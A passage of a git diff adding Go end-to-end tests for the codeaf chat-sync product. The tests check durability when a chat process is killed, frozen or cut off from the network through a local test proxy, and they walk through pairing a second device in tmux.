failed: the relay already held A's newest head before the kill") + } + d.proxy.Restore() + first := d.brain + d.restartA("cut-restart") + took, ok := d.waitHead(s.b, s.id, sealed, 90*time.Second) + if !ok { + t.Fatalf("DURABILITY FAIL mode=network-cut-then-kill completedOnA=%d: the restarted chat never uploaded what was pending:\n%s", completed, d.a.capture()) + } + d.signalA(syscall.SIGKILL) + d.brain = first // the restarted model saw no calls: the count and the clocks are the first run's + s.finish("network-cut-then-kill-then-restart", fmt.Sprintf("uploadedAfterRestart=%v", took)) +} + +// ── failure mode 4: the lid closes, B takes over, the lid opens ───────────── + +// work is one call of B's own on a chat B has taken: it is sealed and published +// through the same drive side the chat uses, so it moves the relay's head. +func (b *machineB) work(c cell.Cell, name string) (head string) { + b.d.t.Helper() + tree := workspaceFolder(c.Root) + eng := b.eng + eng.Workspace = tree + title := func() string { m, _ := session.LoadMeta(c.Root); return m.Title } + drive, err := b.sync.Drive(context.Background(), eng, c, syncsetup.DriveOptions{DeviceName: "machine-b", Title: title}) + if err != nil { + b.d.t.Fatal(err) + } + b.d.t.Cleanup(func() { _ = drive.Close(context.Background()) }) + seat, err := cellstore.SeatOver(executor.HostBound, c, tree, nil, nil, func(cellstore.Engine) cellstore.Store { return drive.Store(eng) }) + if err != nil { + b.d.t.Fatal(err) + } + seat = executor.Gated(seat, drive.Gate) + call := executor.Call{Tool: "bash", Args: []byte(`{"command":"echo"}`)} + err = seat.Around(context.Background(), call, func() ([]byte, bool) { + return nil, os.WriteFile(filepath.Join(tree, name), []byte("work on B\n"), 0o600) != nil + }) + if err != nil { + b.d.t.Fatal(err) + } + drive.Idle() + h, err := cellstore.Head(c) + if err != nil || h == nil { + b.d.t.Fatalf("B sealed no head: %v", err) + } + return h.Turn.ID +} + +// branchesOf lists the cells the relay holds as branches of chat id. +func (b *machineB) branchesOf(id string) []string { + l, err := b.sync.Dir.List(context.Background()) + if err != nil { + return nil + } + var out []string + for cid, c := range l.Cells { + if c.ParentCell == id { + out = append(out, cid) + } + } + return out +} + +// leaseHeld reads whether the relay still shows A's lease as held, the way the +// chat list does: stored expiry later than the relay's own clock. +func (b *machineB) leaseHeld(id string) (held bool, left time.Duration, ok bool) { + v, err := b.sync.Dir.Cell(context.Background(), id) + if err != nil { + return false, 0, false + } + left = time.Duration(v.Cell.Lease.Expires-v.Now) * time.Millisecond + return left > 0, left, true +} + +// frozenFor is how long the lid stays shut. The lease lapses on its own within +// about ninety seconds; three minutes is well past it. +const frozenFor = 3 * time.Minute + +// A is frozen (SIGSTOP: no thread runs, every socket goes silent, as with a +// closed lid) the instant a second call completed on it: the call sits in the +// window the first one's upload opened, so it cannot have been uploaded. B takes the chat over three minutes later and does work of its +// own. Then A wakes (SIGCONT). A must not overwrite B, and the call A completed +// and never uploaded must come out as a kept branch, not vanish. +func TestDurabilityLidClose(t *testing.T) { + d := newDurable(t, brainStep{cmd: mark(1)}, brainStep{wait: 3 * time.Second, cmd: mark(2)}, brainStep{wait: forever}) + d.launcher = freezable + s := d.begin("lid", finished(2)) + pid := d.pidA() + t.Cleanup(func() { reapHolder(pid) }) + s.strike(0, func(s *holdRun) { s.d.signalA(syscall.SIGSTOP) }) + frozen := time.Now() + for i := 0; i < 3; i++ { + time.Sleep(300 * time.Millisecond) + t.Logf("right after SIGSTOP +%dms: %s", (i+1)*300, d.holderState()) + } + sealed := d.localHead() + if v, err := s.b.sync.Dir.Cell(context.Background(), s.id); err != nil || v.Cell.Head == sealed { + t.Fatalf("the premise failed: the relay already held A's newest head (%v)", err) + } + lapsedAfter := d.watchLeaseLapse(s, frozen) + time.Sleep(time.Until(frozen.Add(frozenFor))) + + d.awayFromA() + got, err := s.b.take(s.id) + if err != nil { + t.Fatalf("DURABILITY FAIL mode=lid-close: B could not take the chat: %v", err) + } + bHead := s.b.work(got, "b1.txt") + if _, ok := d.waitHead(s.b, s.id, bHead, 30*time.Second); !ok { + t.Fatalf("B's own work never became the relay's head") + } + + _ = syscall.Kill(pid, syscall.SIGCONT) + woke := time.Now() + kept := d.waitBranch(s.b, s.id, 120*time.Second) + v, _ := s.b.sync.Dir.Cell(context.Background(), s.id) + overwritten := v.Cell.Head != bHead + t.Logf("A after waking:\n%s", d.a.capture()) + + branchCalls := "none" + if kept != "" { + branch, err := s.b.take(kept) + if err != nil { + t.Fatalf("B could not read the kept branch %s: %v", kept, err) + } + results, files := callsIn(branch.Root) + branchCalls = fmt.Sprintf("effects=%s records=%s", sorted(files), sorted(results)) + if !files[2] { + t.Errorf("the kept branch lacks call 2's work") + } + } + status := "PASS" + if overwritten || kept == "" { + status = "FAIL" + t.Fail() + } + results, files := callsIn(got.Root) + t.Logf("DURABILITY %s mode=lid-close completedOnA=2 effectsOnB=%s recordsOnB=%s (B took the chat; call 2 was never uploaded) "+ + "leaseLapsedAfter=%v frozen=%v relayHeadOverwrittenByA=%v keptBranch=%v branchHolds{%s} supersededAfterWake=%v", + status, sorted(files), sorted(results), lapsedAfter, frozenFor, overwritten, kept != "", branchCalls, time.Since(woke).Round(time.Second)) +} + +// reapHolder ends the chat process that ran under [freezable] and waits until +// it is gone. The rig's own cleanup waits only for the pane's launcher, which +// leaves at the hangup while the chat, a child of it, is still writing its +// final files into a home that testing is about to remove. A stopped process +// cannot act on a signal, so it is resumed first. The pid is the one pidA +// checked to be the binary under test, never a pattern match. +func reapHolder(pid int) { + _ = syscall.Kill(pid, syscall.SIGCONT) + _ = syscall.Kill(pid, syscall.SIGTERM) + for _, wait := range []time.Duration{10 * time.Second, 5 * time.Second} { + for deadline := time.Now().Add(wait); time.Now().Before(deadline); time.Sleep(20 * time.Millisecond) { + if terminalProcessExited(pid) { + return + } + } + _ = syscall.Kill(pid, syscall.SIGKILL) + } +} + +// watchLeaseLapse polls the relay while A is frozen and answers how long after +// the freeze the lease first read as not held, or 0 when it never did. +func (d *durable) watchLeaseLapse(s *holdRun, frozen time.Time) time.Duration { + var lapsed time.Duration + for time.Since(frozen) < frozenFor-5*time.Second { + held, left, ok := s.b.leaseHeld(s.id) + d.t.Logf("lease at +%v: held=%v expiresIn=%v read=%v; holder process: %s", time.Since(frozen).Round(time.Second), held, left.Round(time.Second), ok, d.holderState()) + if ok && !held && lapsed == 0 { + lapsed = time.Since(frozen).Round(time.Second) + } + touchAlive(d.t) + time.Sleep(5 * time.Second) + } + return lapsed +} + +// holderState is the state letter of A's process and the processes under it, +// read from the kernel: T is stopped, S is asleep, R is running. +func (d *durable) holderState() string { + pid := d.pidA() + out := []string{fmt.Sprintf("%d:%s", pid, procState(pid))} + for _, n := range childPids(pid) { + out = append(out, fmt.Sprintf("%d:%s", n, procState(n))) + } + return strings.Join(out, " ") +} + +func procState(pid int) string { + raw, _ := os.ReadFile(fmt.Sprintf("/proc/%d/stat", pid)) + if end := strings.LastIndexByte(string(raw), ')'); end >= 0 && len(raw) > end+2 { + return string(raw[end+2]) + } + return "?" +} + +// waitBranch waits until the relay lists a branch of chat id, and answers its id. +func (d *durable) waitBranch(b *machineB, id string, within time.Duration) string { + for deadline := time.Now().Add(within); time.Now().Before(deadline); time.Sleep(time.Second) { + if found := b.branchesOf(id); len(found) > 0 { + return found[0] + } + } + return "" +} + +// touchAlive tells the orchestrator watching the worktree that a long wait is a wait. +func touchAlive(t *testing.T) { + root := repoRoot(t) + _ = os.MkdirAll(filepath.Join(root, ".lane"), 0o755) + _ = os.WriteFile(filepath.Join(root, ".lane", "alive"), []byte(time.Now().Format(time.RFC3339)), 0o644) +} + +// The first call of a brand-new chat is the slowest to become durable (it +// creates the chat's record and sends the whole tree), so a kill half a second +// after it is the hardest case. This runs it ten times and states the rate, as +// work present, work and record present, and nothing at all (the relay had no +// record of the chat, so B could not take it). +func TestDurabilityFirstCallKillRate(t *testing.T) { + const tries = 10 + var work, both, nothing int + for i := 0; i < tries; i++ { + t.Run(fmt.Sprint(i), func(t *testing.T) { + d := newDurable(t, marks(1, 0)...) + s := d.begin("first", finished(1)) + s.strike(500*time.Millisecond, sigkill) + d.awayFromA() + got, err := s.b.take(s.id) + if err != nil { + nothing++ + return + } + results, files := callsIn(got.Root) + if files[1] { + work++ + } + if files[1] && results[1] { + both++ + } + }) + } + t.Logf("DURABILITY RATE mode=first-call-of-a-new-chat-kill-500ms tries=%d workPresent=%d workAndRecordPresent=%d chatNotOnRelay=%d", tries, work, both, nothing) +} diff --git a/internal/e2e/durability_proxy_test.go b/internal/e2e/durability_proxy_test.go new file mode 100644 index 0000000000..b04db4e366 --- /dev/null +++ b/internal/e2e/durability_proxy_test.go @@ -0,0 +1,106 @@ +//go:build e2e + +package e2e + +// A NETWORK THAT CAN BE CUT FOR ONE PROCESS AND NO OTHER. +// +// The chat under test is started with this proxy as its HTTPS proxy, so every +// byte it sends to the relay goes through here, and cutting is one switch that +// refuses new tunnels and drops the open ones. No firewall rule, no change to a +// neighbour's network: the cut reaches exactly the process that was told to +// use the proxy. The model's endpoint is on loopback, which Go never proxies, +// so the scripted model stays reachable through a cut. + +import ( + "io" + "net" + "net/http" + "sync" + "testing" +) + +type cutProxy struct { + ln net.Listener + mu sync.Mutex + cut bool + open map[net.Conn]struct{} +} + +func newCutProxy(t *testing.T) *cutProxy { + t.Helper() + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + p := &cutProxy{ln: ln, open: map[net.Conn]struct{}{}} + srv := &http.Server{Handler: http.HandlerFunc(p.serve)} + go func() { _ = srv.Serve(ln) }() + t.Cleanup(func() { _ = srv.Close(); p.Restore() }) + return p +} + +func (p *cutProxy) url() string { return "http://" + p.ln.Addr().String() } + +// Cut refuses new tunnels and drops every open one. +func (p *cutProxy) Cut() { + p.mu.Lock() + defer p.mu.Unlock() + p.cut = true + for c := range p.open { + _ = c.Close() + } +} + +// Restore lets tunnels through again. +func (p *cutProxy) Restore() { + p.mu.Lock() + p.cut = false + p.mu.Unlock() +} + +// track keeps c so a cut can drop it, and answers false when the network is cut. +func (p *cutProxy) track(c net.Conn) bool { + p.mu.Lock() + defer p.mu.Unlock() + if p.cut { + return false + } + p.open[c] = struct{}{} + return true +} + +func (p *cutProxy) forget(c net.Conn) { + p.mu.Lock() + delete(p.open, c) + p.mu.Unlock() + _ = c.Close() +} + +// serve is a CONNECT tunnel: the only thing an https client asks of a proxy. +func (p *cutProxy) serve(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodConnect { + http.Error(w, "connect only", http.StatusMethodNotAllowed) + return + } + far, err := net.Dial("tcp", r.Host) + if err != nil || !p.track(far) { + if far != nil { + _ = far.Close() + } + http.Error(w, "network cut", http.StatusBadGateway) + return + } + hj, ok := w.(http.Hijacker) + if !ok { + p.forget(far) + return + } + near, _, err := hj.Hijack() + if err != nil || !p.track(near) { + p.forget(far) + return + } + _, _ = near.Write([]byte("HTTP/1.1 200 Connection Established\r\n\r\n")) + go func() { _, _ = io.Copy(far, near); p.forget(far); p.forget(near) }() + go func() { _, _ = io.Copy(near, far); p.forget(far); p.forget(near) }() +} diff --git a/internal/e2e/freshstart_e2e_test.go b/internal/e2e/freshstart_e2e_test.go new file mode 100644 index 0000000000..637405a9f1 --- /dev/null +++ b/internal/e2e/freshstart_e2e_test.go @@ -0,0 +1,50 @@ +//go:build e2e + +package e2e + +import ( + "os/exec" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/identity" +) + +// A FRESH INSTALL THAT WAS ONLY STARTED. The person ran codeaf, looked at the +// start screen and quit: nothing they made is on the computer, so it can still +// join another computer's chats. The first half of the test is that fact read +// off the real binary's own files; the second is that a pair link typed at the +// start screen goes to the approve screen and not to a model. +// C27.7 exercises this behaviour without an opt-in switch. +func TestFreshStartIsPristineAndAPairLinkIsNotAChatMessage(t *testing.T) { + if _, err := exec.LookPath("tmux"); err != nil { + t.Skip("no tmux on PATH: this suite drives the real binary in a real terminal") + } + env := []string{config.APIKeyEnv + "=not-a-real-key", "CODEAF_SYNC_URL=" + startRelay(t), "CODEAF_TELEMETRY=off"} + home := emptyHome(t) + ws := newWorkspace(t, "fresh", false) + r := startWithEnv(t, env, "fresh", home, ws, 120, 40) + r.skipSetup(t) + + r.paste("https://codeaf.agentfield.ai/p/k7m2q9xd#Qm9v") + r.keys("Enter") + // Whichever way the answer goes (a request to approve, one that ran out, or + // no way to approve here) it is a pairing answer; a model's turn is not. + var screen string + for _, answer := range []string{"wants to pair", "request has run out", "pairing is not available"} { + if got, ok := waitPlain(r, 5*time.Second, answer); ok { + screen = got + break + } + } + if screen == "" { + t.Fatalf("the link got no pairing answer:\n%s", plain(r)) + } + r.keys("Escape") + r.quit() + + if ok, err := identity.Pristine(home); err != nil || !ok { + t.Fatalf("a computer that was only started is not pristine: %v %v", ok, err) + } +} diff --git a/internal/e2e/pairjourney_e2e_test.go b/internal/e2e/pairjourney_e2e_test.go new file mode 100644 index 0000000000..caeb5c5f38 --- /dev/null +++ b/internal/e2e/pairjourney_e2e_test.go @@ -0,0 +1,321 @@ +//go:build e2e + +package e2e + +// THE PAIRING JOURNEY, DRIVEN AS A PERSON WOULD DRIVE IT. +// +// Two separate state roots, one local sync service, the real binary in tmux, +// keystrokes only, and a read of the screen (capture-pane -e) after every step. +// A step that the product fails is written down with the screen that showed it +// and the journey goes on where it still can; nothing here papers over a miss. +// The per-step times and the verdicts are written to $UX_EVIDENCE (default +// ~/ux-evidence/e2e-run.json), outside the repository. + +import ( + "context" + "encoding/json" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "syscall" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/config" +) + +// journeyBudget is the whole journey's time limit: install to takeover. +const journeyBudget = 2 * time.Minute + +// forbidden are the words the vocabulary law keeps off every screen of the flow. +var forbidden = regexp.MustCompile(`(?i)\b(node|relay|take|lease|manifest)s?\b`) + +var escSeq = regexp.MustCompile(`\x1b\[[0-9;:?<>]*[ -/]*[@-~]|\x1b[()][A-Z0-9]|\x1b\][^\a]*\a`) + +// stepRecord is one line of the evidence file. +type stepRecord struct { + Name string `json:"name"` + Status string `json:"status"` // pass | fail | blocked + Millis int64 `json:"ms"` + Notes []string `json:"notes,omitempty"` + Screen string `json:"screen,omitempty"` +} + +type journey struct { + t *testing.T + began time.Time + steps []stepRecord + outDir string + dead bool // a step the rest depends on failed + relay string + key string + current *stepRecord + stopped time.Duration +} + +// check records a verdict on the current step without stopping the journey. +func (j *journey) check(ok bool, format string, args ...any) bool { + if !ok { + j.current.Status = "fail" + j.current.Notes = append(j.current.Notes, "FAIL: "+fmt.Sprintf(format, args...)) + } + return ok +} + +// require is check for a fact the later steps stand on: when it fails they are +// reported as blocked rather than run against a screen that cannot answer them. +func (j *journey) require(ok bool, format string, args ...any) bool { + if !j.check(ok, format, args...) { + j.dead = true + } + return ok +} + +// see keeps the screen the step ended on, as plain text and with its colours, +// and holds it to the vocabulary law. +func (j *journey) see(r *rig) string { + raw := captureStyled(r) + plain := escSeq.ReplaceAllString(raw, "") + _ = os.WriteFile(filepath.Join(j.outDir, fmt.Sprintf("%02d-%s.ansi", len(j.steps)+1, slug(j.current.Name))), []byte(raw), 0o644) + j.current.Screen = strings.TrimRight(plain, " \n") + if bad := forbidden.FindString(plain); bad != "" { + j.check(false, "the screen says %q, which the vocabulary law keeps out", bad) + } + return plain +} + +// step runs fn and times it. After a failed step marked fatal the rest are blocked. +func (j *journey) step(name string, needsPrevious bool, fn func()) { + rec := stepRecord{Name: name, Status: "pass"} + j.current = &rec + if j.dead && needsPrevious { + rec.Status = "blocked" + rec.Notes = []string{"an earlier step failed, so this one could not be reached"} + j.steps = append(j.steps, rec) + return + } + began := time.Now() + fn() + rec.Millis = time.Since(began).Milliseconds() + j.steps = append(j.steps, rec) +} + +func slug(s string) string { + return strings.Trim(regexp.MustCompile(`[^a-z0-9]+`).ReplaceAllString(strings.ToLower(s), "-"), "-") +} + +func captureStyled(r *rig) string { + out, err := exec.Command("tmux", "capture-pane", "-e", "-J", "-p", "-S", "-", "-t", r.name).Output() + if err != nil { + return "" + } + return string(out) +} + +// plain is the screen without colours, wrapped lines joined. +func plain(r *rig) string { return escSeq.ReplaceAllString(captureStyled(r), "") } + +func waitPlain(r *rig, within time.Duration, want ...string) (string, bool) { + deadline := time.Now().Add(within) + for { + screen := plain(r) + all := true + for _, w := range want { + all = all && strings.Contains(screen, w) + } + if all { + return screen, true + } + if time.Now().After(deadline) { + return screen, false + } + time.Sleep(pollEvery) + } +} + +// startRelay runs the local sync service this repository ships and returns its address. +func startRelay(t *testing.T) string { + t.Helper() + bin := filepath.Join(t.TempDir(), "relay") + build := exec.Command("go", "build", "-o", bin, "./cmd/relay") + build.Dir = repoRoot(t) + if out, err := build.CombinedOutput(); err != nil { + t.Fatalf("build the sync service: %v\n%s", err, out) + } + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Fatal(err) + } + addr := ln.Addr().String() + _ = ln.Close() + cmd := guardedCommand(t, context.Background(), t.TempDir(), nil, bin, "--listen", addr, "--store", filepath.Join(t.TempDir(), "store"), "--quiet") + if err := cmd.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = cmd.Process.Kill(); _, _ = cmd.Process.Wait() }) + for deadline := time.Now().Add(10 * time.Second); time.Now().Before(deadline); time.Sleep(100 * time.Millisecond) { + if c, err := net.Dial("tcp", addr); err == nil { + _ = c.Close() + return "http://" + addr + } + } + t.Fatal("the sync service never listened") + return "" +} + +// startCommand opens a terminal on one command of the binary (not the chat). +func startCommand(t *testing.T, env []string, name, home, ws string, args ...string) *rig { + t.Helper() + return startWithEnv(t, env, name, home, ws, 120, 40, args...) +} + +// paste sends text the way a terminal pastes it: one bracketed paste. +func (r *rig) paste(text string) { + r.t.Helper() + buf := "ux-" + r.name + if out, err := exec.Command("tmux", "set-buffer", "-b", buf, text).CombinedOutput(); err != nil { + r.t.Fatalf("tmux set-buffer: %v\n%s", err, out) + } + if out, err := exec.Command("tmux", "paste-buffer", "-p", "-d", "-b", buf, "-t", r.name).CombinedOutput(); err != nil { + r.t.Fatalf("tmux paste-buffer: %v\n%s", err, out) + } + time.Sleep(300 * time.Millisecond) +} + +// linkShape is a pairing link on whichever relay the journey runs against: the +// hosted page, or the self-hosted relay's own page (the journey uses a Go relay). +var linkShape = regexp.MustCompile(`https?://\S+/p/[A-Za-z0-9]+#\S+`) + +// TestPairJourney proves C1, C3, C4 and C5 through the terminal doors, +// including the online and offline routes into the same arrival screen. C27.1 +// requires both homes to move chats without an opt-in environment variable. +func TestPairJourney(t *testing.T) { + key := requireTmuxAndKey(t) + for _, online := range []bool{false, true} { + name := "offline" + if online { + name = "online" + } + t.Run(name, func(t *testing.T) { runPairJourney(t, key, name, online) }) + } +} + +func runPairJourney(t *testing.T, key, mode string, online bool) { + out := os.Getenv("UX_EVIDENCE") + if out == "" { + out = filepath.Join(os.Getenv("HOME"), "ux-evidence") + } + out = filepath.Join(out, mode) + if err := os.MkdirAll(filepath.Join(out, "screens"), 0o755); err != nil { + t.Fatal(err) + } + j := &journey{t: t, began: time.Now(), outDir: filepath.Join(out, "screens"), key: key} + defer j.write(filepath.Join(out, "e2e-run.json")) + + j.relay = startRelay(t) + env := []string{config.APIKeyEnv + "=" + key, "CODEAF_SYNC_URL=" + j.relay, "CODEAF_SYNC_INTERVAL_MS=1000"} + homeA, homeB := newHome(t, nil), newHome(t, nil) + wsA := newWorkspace(t, "proj", true) + wsB := newWorkspace(t, "proj", true) + // The real binary keeps its engine running after the window closes, as it + // does for a person, so the journey stops every engine its homes started, + // moved copies included, or each run leaves daemons behind. + // Every t.TempDir of this test shares one root, so ending the engines under + // it also ends the fresh-install probe's. + testRoot := filepath.Dir(filepath.Dir(homeA)) + t.Cleanup(func() { + for _, pid := range engineDaemonsUnder(testRoot) { + _ = syscall.Kill(pid, syscall.SIGKILL) + } + }) + if err := os.WriteFile(filepath.Join(wsB, "Makefile"), []byte("test:\n\t@echo 3 passed\n"), 0o644); err != nil { + t.Fatal(err) + } + journeyRun(j, env, homeA, homeB, wsA, wsB, online) +} + +// freeze fixes the journey's length; probes that follow are not part of it. +func (j *journey) freeze() { j.stopped = time.Since(j.began) } + +func (j *journey) write(path string) { + total := j.stopped + if total == 0 { + total = time.Since(j.began) + } + doc := map[string]any{ + "model": e2eModel, + "total_ms": total.Milliseconds(), + "budget_ms": journeyBudget.Milliseconds(), + "under_budget": total < journeyBudget, + "steps": j.steps, + "note": "step 0 is a probe run after the timed journey", + } + raw, _ := json.MarshalIndent(doc, "", " ") + _ = os.WriteFile(path, raw, 0o644) + for _, s := range j.steps { + j.t.Logf("%-9s %6dms %s", strings.ToUpper(s.Status), s.Millis, s.Name) + for _, n := range s.Notes { + j.t.Logf(" %s", n) + } + } + j.t.Logf("whole journey: %s (budget %s)", total.Round(time.Millisecond), journeyBudget) + // A STEP THAT FAILED FAILS THE JOURNEY. The verdicts used to be written down + // and the test reported green anyway, so a broken journey read as a pass. + for _, s := range j.steps { + if s.Status == "fail" || s.Status == "blocked" { + j.t.Errorf("step %q is %s", s.Name, s.Status) + } + } +} + +// loseLid ends the machine the way a closed lid does: no goodbye, nothing +// released, and nothing left running. The pid is the pane's own, read from +// tmux; the engine that held the chat is a separate process that outlives the +// window, and a lid takes it too, so it is ended with the window. Left alive it +// keeps the device online, and a device that is online and busy is rightly not +// offered as a rescue. +func (r *rig) loseLid() { + r.t.Helper() + raw, _ := exec.Command("tmux", "display-message", "-p", "-t", r.name, "#{pane_pid}").Output() + pid, _ := strconv.Atoi(strings.TrimSpace(string(raw))) + if pid > 0 { + _ = syscall.Kill(pid, syscall.SIGKILL) + } + r.kill() + for _, daemon := range engineDaemonsOf(r.ws) { + _ = syscall.Kill(daemon, syscall.SIGKILL) + } +} + +// engineDaemonsOf lists the pids of the engine daemons serving one workspace, +// read from the process table by their own command line, never by pattern. +func engineDaemonsOf(ws string) []int { return engineDaemons(ws + "\x00") } + +// engineDaemonsUnder is every engine daemon whose workspace lies under root. +func engineDaemonsUnder(root string) []int { + return engineDaemons(strings.TrimSuffix(root, "/") + "/") +} + +// engineDaemons is every engine daemon whose workspace argument begins with +// prefix, read from /proc. +func engineDaemons(prefix string) []int { + want := "engine\x00--daemon\x00--workspace\x00" + prefix + entries, _ := os.ReadDir("/proc") + var pids []int + for _, e := range entries { + pid, err := strconv.Atoi(e.Name()) + if err != nil { + continue + } + cmd, err := os.ReadFile(filepath.Join("/proc", e.Name(), "cmdline")) + if err == nil && strings.Contains(string(cmd), want) { + pids = append(pids, pid) + } + } + return pids +} diff --git a/internal/e2e/pairjourney_steps_e2e_test.go b/internal/e2e/pairjourney_steps_e2e_test.go new file mode 100644 index 0000000000..58158e627f --- /dev/null +++ b/internal/e2e/pairjourney_steps_e2e_test.go @@ -0,0 +1,273 @@ +//go:build e2e + +package e2e + +import ( + "context" + "os" + "regexp" + "slices" + "strings" + "time" +) + +// journeyRun walks the steps in the order a person meets them. +func journeyRun(j *journey, env []string, homeA, homeB, wsA, wsB string, online bool) { + t := j.t + var a, b *rig + var link string + + j.step("A has used sync before (identity exists)", false, func() { + setup := startCommand(t, env, "a-setup", homeA, wsA, "pair", "--code") + _, ok := waitPlain(setup, 15*time.Second, "codeaf pair") + j.check(ok, "pair --code never showed a code") + j.see(setup) + setup.kill() + }) + + j.step("1 card: Add another device on A's home", true, func() { + a = startWithEnv(t, env, "a", homeA, wsA, 180, 45) + a.skipSetup(t) + a.keys("Space") + a.keys("Space") + screen, ok := waitPlain(a, 12*time.Second, "Add another device") + j.check(ok, "the home screen never offered another machine") + j.check(strings.Contains(screen, "pick up your work anywhere"), "pitch missing") + j.see(a) + }) + + j.step("2 B: codeaf pair prints link and waits", true, func() { + b = startCommand(t, env, "b", homeB, wsB, "pair") + // A computer that was never named asks for a name first, filled in with + // the host name; a person keeps it with Enter. + if _, asked := waitPlain(b, 10*time.Second, "Press Enter to keep that"); asked { + b.keys("Enter") + } + screen, ok := waitPlain(b, 15*time.Second, "/p/", "Check number") + j.require(ok, "B never printed a link and a check number") + link = linkShape.FindString(screen) + j.check(link != "", "no link on B's screen") + j.check(strings.Contains(screen, "Waiting for approval"), "B does not say it is waiting") + j.see(b) + }) + + j.step("3a A: paste the link into the card", true, func() { + a.keys("M-d") + _, ok := waitPlain(a, 5*time.Second, "Paste it here") + j.check(ok, "the card did not open its steps") + a.paste(link) + screen, ok := waitPlain(a, 6*time.Second, "wants to pair") + j.check(ok, "pasting the link into the card showed no approve screen") + j.see(a) + if !ok { + // A person gives up on the card and types the command the card's + // own link opens; the card's miss is already written down. + a.keys("Escape") + a.lit("/pair " + link) + a.keys("Enter") + } + _ = screen + }) + + var check string + j.step("3b A: approve screen names the device", true, func() { + screen, ok := waitPlain(a, 12*time.Second, "wants to pair") + j.require(ok, "no approve screen") + j.see(a) + m := regexp.MustCompile(`Check number (\d{4})`).FindStringSubmatch(screen) + j.check(m != nil, "approve screen has no check number") + if m != nil { + check = m[1] + } + bScreen := plain(b) + j.check(check != "" && strings.Contains(bScreen, "Check number: "+check), "the check number on A (%s) is not the one B shows", check) + j.check(strings.Contains(screen, "Linux"), "no platform on the approve screen") + j.check(regexp.MustCompile(`asked .*(ago|now)`).MatchString(screen), "no request time on the approve screen") + j.check(strings.Contains(screen, "a approve"), "no approve key offered") + j.check(!strings.Contains(screen, "now ago"), "the request time reads %q", "asked now ago") + }) + + j.step("3c A approves; B prints Paired", true, func() { + a.keys("a") + screen, ok := waitPlain(b, 20*time.Second, "Paired") + j.require(ok, "B never printed Paired") + j.check(regexp.MustCompile(`(?m)^Paired\.(?: [1-9]\d* workspaces? available\.)?\s*$`).MatchString(screen), "B's line is not 'Paired.' or the available-workspace sentence") + j.see(b) + toast, ok := waitPlain(a, 6*time.Second, "is now paired") + j.check(ok, "A showed no 'is now paired' news") + t.Logf("A after approve:\n%s", toast) + }) + + // UX_SEGMENT=A stops after the approval and runs only the fresh-install check. + if os.Getenv("UX_SEGMENT") == "A" { + j.freeze() + stepFresh(j, env) + return + } + + var b2 *rig + j.step("4a B: opens a chat and does some work", true, func() { + b2 = startWithEnv(t, env, "b2", homeB, wsB, 120, 40) + b2.skipSetup(t) + b2.lit("Run the shell command make test and tell me what it printed.") + b2.keys("Enter") + screen, ok := waitPlain(b2, 90*time.Second, "3 passed") + j.require(ok, "B's chat never showed the test output") + time.Sleep(4 * time.Second) // let the chat reach the sync service + j.see(b2) + _ = screen + }) + + j.step("4b A: devices row shows both online", true, func() { + b2.keys("Space") + b2.keys("Space") + time.Sleep(3 * time.Second) + a.keys("Space") + a.keys("Space") + a.keys("Up") + time.Sleep(2 * time.Second) + home := j.see(a) + j.check(strings.Contains(home, "This") || strings.Count(home, "●") >= 2, "no devices row on A's home with a chat from the other device under the cursor") + a.keys("Escape") + a.lit("/devices") + a.keys("Enter") + list, ok := waitPlain(a, 8*time.Second, "esc close") + j.check(ok, "/devices showed no list") + j.check(strings.Count(list, "●") >= 2, "the device list does not show both devices online") + sc := strings.Split(strings.TrimRight(list, "\n "), "\n") + t.Logf("A /devices:\n%s", strings.Join(sc[len(sc)-6:], "\n")) + a.keys("Escape") + }) + + step5 := "5a stop B; reopen A; continue prompt" + if online { + step5 = "5a A: alt+m brings B's online chat here" + } + j.step(step5, true, func() { + if online { + a.lit("/home") + a.keys("Enter") + a.keys("M-m") + _, ok := waitPlain(a, 8*time.Second, "Continue this chat here?") + j.require(ok, "alt+m offered no continuation for the online holder") + j.see(a) + return + } + b2.loseLid() + time.Sleep(3 * time.Second) + a.lit("/quit") + a.keys("Enter") + time.Sleep(3 * time.Second) + a.kill() + diag := guardedCommand(t, context.Background(), homeA, append(env, "CODEAF_HOME="+homeA), binary(t), "cell", "list", "--all") + dout, _ := diag.CombinedOutput() + t.Logf("diagnostic cell list:\n%s", dout) + a = startWithEnv(t, env, "a2", homeA, wsA, 180, 45) + a.skipSetup(t) + a.keys("Space") + a.keys("Space") + screen, ok := waitPlain(a, 15*time.Second, "latest chat here?") + j.require(ok, "A offered no way to continue where B left off") + j.see(a) + _ = screen + t.Logf("A reopened:\n%s", screen) + }) + + moved := false + j.step("6a A: Continue here on B's chat", false, func() { + if !online { + a.keys("Up") + a.keys("Enter") + } + screen, ok := waitPlain(a, 8*time.Second, "Continue this chat here?") + j.require(ok, "no takeover question for B's chat") + j.see(a) + j.check(strings.Contains(screen, "continue here"), "the question does not offer 'continue here'") + a.keys("1") + a.keys("Enter") + began := time.Now() + after, ok := waitPlain(a, 40*time.Second, "Moved from") + j.require(ok, "no 'Moved from' banner after continuing") + j.check(regexp.MustCompile(`Moved from \S+ in [0-9.]+m?s`).MatchString(after), "the banner does not say how long the move took") + j.see(a) + t.Logf("banner after %s", time.Since(began)) + time.Sleep(3 * time.Second) + moved = true + }) + + j.step("6b A: the moved chat opens with the resume card", false, func() { + j.check(moved, "the move did not complete") + screen := plain(a) + j.see(a) + j.check(strings.Contains(screen, "README.md"), "the resume card does not list the uncommitted file") + j.check(strings.Contains(screen, "last tests"), "the resume card does not give the last test run") + j.check(strings.Contains(screen, "3 passed") || strings.Contains(screen, "passed"), "the moved chat does not show the result B saw") + }) + + j.step("7 revoke B from A; B is rejected", false, func() { + a.keys("Escape") + a.lit("/devices") + a.keys("Enter") + // The sheet opens on this device's own row, which cannot be removed, so + // `r remove` is offered only once the cursor is on the other computer. + list, ok := waitPlain(a, 8*time.Second, "esc close", "this device") + j.require(ok, "no device list on A") + t.Logf("devices before revoke:\n%s", list) + a.keys(downToOtherDevice(list)...) + _, offered := waitPlain(a, 3*time.Second, "r remove") + j.check(offered, "the other computer's row does not offer r remove") + a.keys("r") + time.Sleep(3 * time.Second) + after := plain(a) 